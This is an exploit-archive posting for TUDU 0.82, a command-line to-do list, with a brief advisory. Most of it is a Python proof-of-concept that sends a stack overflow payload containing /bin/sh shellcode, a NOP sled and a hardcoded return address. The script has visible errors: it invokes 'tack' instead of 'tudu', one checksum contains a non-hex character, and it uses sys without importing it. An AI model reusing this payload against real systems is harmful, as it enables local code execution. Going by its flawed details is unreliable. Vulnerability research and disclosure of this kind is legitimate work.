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TUDU 0.82 Buffer Overflow

TUDU 0.82 Buffer Overflow
Posted Nov 13, 2015
Authored by Juan Sacco

TUDU versions 0.82 and below suffer from a buffer overflow vulnerability.

tags | exploit, overflow
MD5 | c0b64db786469ac0d510f48d4869a57d

TUDU 0.82 Buffer Overflow

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# Exploit Author: Juan Sacco - http://www.exploitpack.com <
jsacco@exploitpack.com>
# Program: tudu - Command line hierarchical ToDo list
# Tested on: GNU/Linux - Kali Linux 2.0 x86
#
# Description: TUDU v0.82 and prior is prone to a stack-based buffer
overflow
# vulnerability because the application fails to perform adequate
# boundary-checks on user-supplied input.
#
# An attacker could exploit this issue to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Vendor homepage: http://www.cauterized.net/~meskio/tudu
# Kali Linux 2.0 package: pool/main/t/tudu/tudu_0.8.2-1.deb
# MD5: 1dc2s2e9c374c9876b2b02283a9f5243

import os,subprocess
def run():
try:
print "# TUDU v0.82 Stack-Based Overflow by Juan Sacco"
print "# It's Fuzzing time on unusable exploits"
print "# This exploit is for educational purposes only"
# Basic structure: JUNK + SHELLCODE + NOPS + EIP

junk = "\x41"*10
shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\
xb0\x0b\xcd\x80"
nops = "\x90"*124
eip = "\x60\xd3\xff\xbf"
subprocess.call(["tack",' ', junk + shellcode + nops + eip])

except OSError as e:
if e.errno == os.errno.ENOENT:
print "TUDU not found!"
else:
print "Error executing exploit"
raise

def howtousage():
print "Sorry, something went wrong"
sys.exit(-1)

if __name__ == '__main__':
try:
print "Exploit TUDU 0.82 Local Overflow Exploit"
print "Author: Juan Sacco"
except IndexError:
howtousage()
run()

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